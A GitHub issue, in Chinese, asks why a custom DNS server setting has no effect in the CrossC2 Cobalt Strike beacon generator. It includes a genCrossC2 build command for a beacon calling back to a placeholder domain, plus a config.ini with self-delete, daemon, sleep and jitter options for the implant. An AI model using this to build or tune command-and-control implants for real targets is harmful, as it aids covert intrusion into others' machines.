Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

自定义请求的DNS服务无效 #229

Open
MuaXDvAs opened this issue Aug 11, 2024 · 0 comments
Open

自定义请求的DNS服务无效 #229

MuaXDvAs opened this issue Aug 11, 2024 · 0 comments

Comments

@MuaXDvAs
Copy link

MuaXDvAs commented Aug 11, 2024

首先,非常感谢gloxec开发了这么优秀的项目!
我在使用中遇到了一个问题,想请教一下:

目标机器没有配置nameserver服务器,无法解析域名,能直接访问IP地址,
使用域名+config.ini生成可执行文件

./genCrossC2 www.example.com 4444 /tmp/cs_server/.cobaltstrike.beacon_keys ";config.ini" Linux x64 ./CrossC2-test

config.ini内容是:

# 配置 beacon 本身hook的函数符号以及全局配置
[c2_config]
# hook函数
# 初始化 阶段 void cc2_init() {}
cc2_init = aa1
# 错误重连 阶段,传入重连次数 void cc2_retryConnect(int retryCount) {}
cc2_retryConnect = bb

# 协议重绑定库的函数名称自定义
cc2_rebind_get_protocol = cc
cc2_rebind_post_protocol = dd
cc2_rebind_http_get_send = ee3
cc2_rebind_http_get_recv = ff
cc2_rebind_http_post_send = gg
cc2_rebind_http_post_recv = hh

# 一些全局配置
# 运行后是否需要自删除
cc2_auto_delete = false
# 是否需要后台运行
cc2_daemon = false
# sleep时间 (10sec)
sleeptime = 10
# 心跳抖动时间
jitter = 37
# 数据提交抖动时间
data_jitter = 100
# 创建任务的pipe名称(默认 joblist)
job_pipe_name = joblist
# 运行任务的pipe名称(默认 .syspipe)
process_pipe_name = sys_pipe
# 请求的dns服务
dns_server = 8.8.8.8

运行之后依然无法访问teamserver,并提示:unresolved。

请问:是我哪里配置的不正确吗?

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
Labels
None yet
Projects
None yet
Development

No branches or pull requests

1 participant